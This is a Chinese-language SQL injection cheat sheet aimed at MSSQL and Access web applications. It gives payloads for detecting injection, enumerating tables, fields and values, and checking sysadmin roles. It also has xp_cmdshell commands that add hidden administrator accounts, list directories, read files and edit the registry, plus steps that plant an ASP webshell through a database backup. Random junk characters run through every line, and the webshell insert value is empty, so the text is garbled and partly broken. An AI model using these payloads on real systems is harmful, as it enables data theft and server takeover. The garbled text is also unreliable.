1.判断是否有注入;and 1=1 ;and 1=2 f&] !;)
2.初步判断是否是mssql ;and user>0 j4=\MK
;LKYA?=/V
3.注入参数是字符'and [查询条件] and ''=' x&EMg!
rO/Sj<0^
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0}9j l
X]GodqL\
5.判断数据库系统 6W;`}'ap
k%s,(2)30
;and (select count(*) from sysobjects)>0 mssql {!.w}
O\%0D.HEz
;and (select count(*) from msysobjects)>0 access v&f\ Jv7
<fMQ#No
zP c54>f
PVmePgF
6.猜数据库 ;and (select Count(*) from [数据库名])>0 yy3`E}vX7
F2)KAIl
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9u3P>a~b
%\!0*(8
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -`t9@1P>
=
e?]HNy
9.(1)猜字段的ascii值(access) *r!qxiY=
r
3z"%ht~;
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T[cJ
9}q)AL-ga
(2)猜字段的ascii值(mssql) ~)ysEZl
PklJU:Pu\U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d9T:0A`M
5.kKg=a
10.测试权限结构(mssql) %[ o($a$
'#QZhz(+
!y2yS/
#TeAw<2U
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eqWs(`
TA#pA(k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- h 3 J&
Q,ZV C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- n#
FkgXP$
._.Qf<7
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Yb:F,d-Ya
swLNNA.
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 'Q.5`o
0AhUH|]
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- k#p6QAhS
'RV wxd
;and 1=(select IS_MEMBER('db_owner'));-- A43[i@o
Kc>Rd
p DU+(A4>
VArMFP)cz
11.添加mssql和系统的帐户 )"E1/$*k
%GMCyT
;exec master.dbo.sp_addlogin username;-- C
MGDg}
;exec master.dbo.sp_password null,username,password;-- +)_DaL
E
:8?l=B9("g
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /6y;fx
V[7D4r.j
;exec master.dbo.xp_cmdshell 'net user username password A\.{(,;kp
I3}I7oc_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [Qqss8a
ZiaFByLy
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ,z+n@sUR:
#210 Yp#
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ^Q!A4qOQ
&u(pBr8B
8Qkwg]X
OY!WEP$F-C
12.(1)遍历目录 ydE}.0zN
jd}~#:FUr*
;create table dirs(paths varchar(100), id int) #VZ
js`d6
ykxAm\O
;insert dirs exec master.dbo.xp_dirtree 'c:\' I.%EYAai
z07:E>D]
;and (select top 1 paths from dirs)>0 ?U2 'L2y
Ir5E*op7D
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) SzUH6|=.R=
xp]9Z]J1l
=^)$my\C:
vOtILL6
(2)遍历目录 >V>GiSni
%V#? 1{
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }rWg']
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 DMKtTt[}
JDOn`7!w
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Z)}2bJwA
0}g~69Z1=
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %e+*&Z',
F$O$Y[
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &NI\<C7_Gw
}CrWmJu0
i=V2
/W}
w@a|_?
13.mssql中的存储过程 ')(U<5y)
acj-*I
xp_regenumvalues 注册表根键, 子键 3u,B<
M L7 vP
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 +\>op,_9I
>U]KPL[%
xp_regread 根键,子键,键值名 TA~ZN^xI
k#8E9/t@
;exec xp_regread GB)< 5I
w)/~Gn676
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 y%<CkgZS
NA#,q 8
xp_regwrite 根键,子键, 值名, 值类型, 值 ZRFHs>0
1_M}Dc+J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6 8Vxy
iY5V4Gbo
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !3z
;u8W
z<9Llew^e
xp_regdeletevalue 根键,子键,值名 -NA2+].
gq}c
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !y$+RA7\
8<=sUO
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b]N&4t
R|_._Btu!
y
QGd<(
A5sz[k
14.mssql的backup创建webshell yI%q3lB}^
Nc?'},
use model 4Wa*Pcj
n`T4P$pt
create table cmd(str image); ZM[Z9/S8
WDt 6{5T
insert into cmd(str) values (''); h]j>S
x_wWe>0
backup database model to disk='c:\l.asp'; |ZOdfr4uW
<@Y`RqV +
eAG)+b
f5/s+H!
15.mssql内置函数 as[! 9tB]
F#.ph?W
;and (select @@version)>0 获得Windows的版本号 '@HCwEuz
*<X*)A{C
;and user_name()='dbo' 判断当前系统的连接用户是不是sa |n~,{=
Mu6DTp~k
;and (select user_name())>0 爆当前系统的连接用户 >G As&\4hs
9q\_UbF
;and (select db_name())>0 得到当前连接的数据库 CW]Th-xc
@R (Op|9
A>_,tt
Y)l=r^Ap>
16.简洁的webshell i4&V+h"
]<C]&03))
use model 1Afy$It/{
,
YlS
create table cmd(str image); aDu[iaZ
n98sY+$-z
insert into cmd(str) values (''); eDvh3Y<D
32`Z3-
backup database model to disk='g:\wwwtest\l.asp';